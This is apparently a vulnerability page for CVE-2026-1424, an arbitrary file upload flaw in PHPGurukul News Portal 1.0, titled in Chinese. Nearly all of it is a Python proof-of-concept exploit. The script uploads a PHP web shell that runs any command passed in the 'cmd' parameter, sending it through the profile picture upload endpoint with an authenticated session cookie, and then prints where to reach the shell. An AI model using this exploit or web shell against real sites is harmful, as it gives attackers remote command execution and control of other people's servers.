CVE-2026-1424 PHPGurukul News Portal 1.0 任意文件上传漏洞

import requests import sys # CVE-2026-1424 PoC - PHPGurukul News Portal 1.0 Unrestricted File Upload # Target: Profile Pic Handler component target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/news-portal" # Malicious PHP file to be uploaded php_shell = '''<?php if(isset($_GET['cmd'])) { echo "<pre>"; $cmd = $_GET['cmd']; system($cmd); echo "</pre>"; } ?>''' def exploit_unrestricted_upload(): """Exploit the unrestricted file upload vulnerability""" # Upload endpoint (Profile Pic Handler) upload_url = f"{target_url}/profile_pic_upload.php" # Prepare malicious file files = { 'profile_pic': ('shell.php', php_shell, 'image/php') } # Cookies for authenticated session (high privilege required) cookies = { 'PHPSESSID': 'your_session_id_here' } try: print(f"[*] Attempting to upload malicious file to {upload_url}") response = requests.post(upload_url, files=files, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Access the shell at: {target_url}/uploads/shell.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_unrestricted_upload()